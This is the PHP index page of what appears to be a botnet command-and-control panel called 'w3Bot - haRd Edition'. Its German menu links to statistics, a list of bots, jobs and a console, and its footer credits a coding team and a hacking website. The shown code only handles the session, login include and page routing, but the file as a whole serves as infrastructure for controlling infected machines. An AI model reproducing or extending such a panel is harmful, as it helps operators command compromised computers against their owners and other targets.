<?php
session_start();
session_cache_limiter(60);
require_once('inc/auth.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>w3Bot - haRd Edition</title>
	<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1" />
	<link rel="stylesheet" type="text/css" href="css/style.css" />
</head>
<body>

<div id="head">
	<h1>w3Bot - haRd Edition</h1>
</div>

<div id="nav">
	<ul>
		<li><a href="index.php?do=stats">Statistik</a></li>
		<li><a href="index.php?do=list">Botliste</a></li>
		<li><a href="index.php?do=jobs">Jobs</a></li>
		<li><a href="index.php?do=console">Konsole</a></li>
		<li><a href="index.php?do=logout">Logout</a></li>
	</ul>
</div>
<?php
if(isset($_GET['do'])) { $do = htmlspecialchars($_GET['do']); }
if(empty($do)) { $do = "stats"; }
switch($do)
{
	case "stats":
		require_once('pages/stats.php');
		break;
	case "jobs":
		require_once('pages/jobs.php');
		break;
	case "console":
		require_once('pages/console.php');
		break;
	case "list":
		require_once('pages/list.php');
		break;
	case "logout":
		require_once('pages/logout.php');
		break;
	default:
		echo "default";
		break;		
}
?>
<div id="foot">
	<p>Coded by w3Bot Coding Team<br />
	Visit <a href="https://w3-hack.cc/">w3-hack.cc</a></p>
</div>
</body>
</html>